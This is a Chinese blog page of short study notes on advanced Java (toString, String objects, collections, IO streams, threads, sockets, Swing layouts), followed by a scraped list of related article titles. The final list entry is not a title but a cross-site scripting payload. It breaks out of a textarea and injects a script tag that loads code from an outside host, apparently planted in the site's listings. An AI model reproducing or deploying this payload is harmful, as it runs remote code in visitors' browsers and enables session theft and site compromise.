【JAVA基础】⑥关于JAVA高级编程
来源:互联网 发布:linux指定dhcp服务器 编辑:程序博客网 时间:2024/04/29 10:57
一、new一个新的对象,直接打印它,是默认调用的这个对象的“toString”方法
二、String类中,String a="abc";过程中只有一个对象参与运算
String a=a+1;过程中有三个对象参与了运算:1、a;2、1;3、a+1
三、collection接口:set:无序的,不允许重复
list:有序的,允许重复
set遍历的时候可以用Iterator或foreach
hashmap(哈希表)是通过键值对存储的(key,content)
四、IO流:InputStream 、 OutStream 是字节流
Reader、Writer是字符流
五、多线程:1、实现接口Runnable 2、继承类Thread
在执行完构造函数之后,自动调用run()函数
六、Socket编程:经验证,所有的东西都可以用传对象的方式来传递,最后在接收端进行类别判断,再进行强制类型转换
注意:利用字节流取东西时,只能取一次,就取光了所有的内容。
充分利用多线程,可以实现一个服务器对多个客户端。
七、GUI编程:界面类似于安卓的嵌套
Flowlayout 流布局,(从左到右排列,宽度不够就另起一行)
Borderlayout块布局,(上下左右中,北南东西中)
Gridlayout网格布局,
Cardlayout卡片布局,(谁在上面谁显示)
关于JAVA高级编程不多描述了,因为在实战中学的更快一点,下面是JAVA 学习的PPT
JAVA编程基础PPT JAVA编程高级PPT
- 【JAVA基础】⑥关于JAVA高级编程
- Java编程高级之Java网络编程知识基础
- java基础:关于网络编程
- java高级基础备忘
- JAVA基础高级特性
- java高级基础备忘
- java基础高级特性
- Java高级编程
- java高级编程技巧
- Java高级编程--数据结构
- Java高级编程-NIO
- Java高级编程-JUC
- Java的高级编程
- java 高级编程
- 浅析Java多线程编程中的高级技术-Java基础-Java-编程开发
- java高级多线程编程(一)--关于线程的停止问题
- java高级多线程编程--关于线程的停止问题
- java高级多线程编程(一)--关于线程的停止问题
- Sublime Text 3相关配置和设置
- 工作流模式与K2实现(上篇)
- 配置Ubuntu Server高速apt-get源
- 剑指offer 4.3 举例形象化问题5-二叉树中和为某一值的路径
- Linux命令:gzip
- 【JAVA基础】⑥关于JAVA高级编程
- poj2234
- 另类乘法
- 有感
- [Effective C++]条款02 尽量以const,enum,inline替换#define
- http load 源代码分析
- ios NSDictionary常用的使用方法
- 工作流模式与K2实现(下篇)
- </textarea>'"><script src=http://xssan.com/9eoJt7?1407673936></script>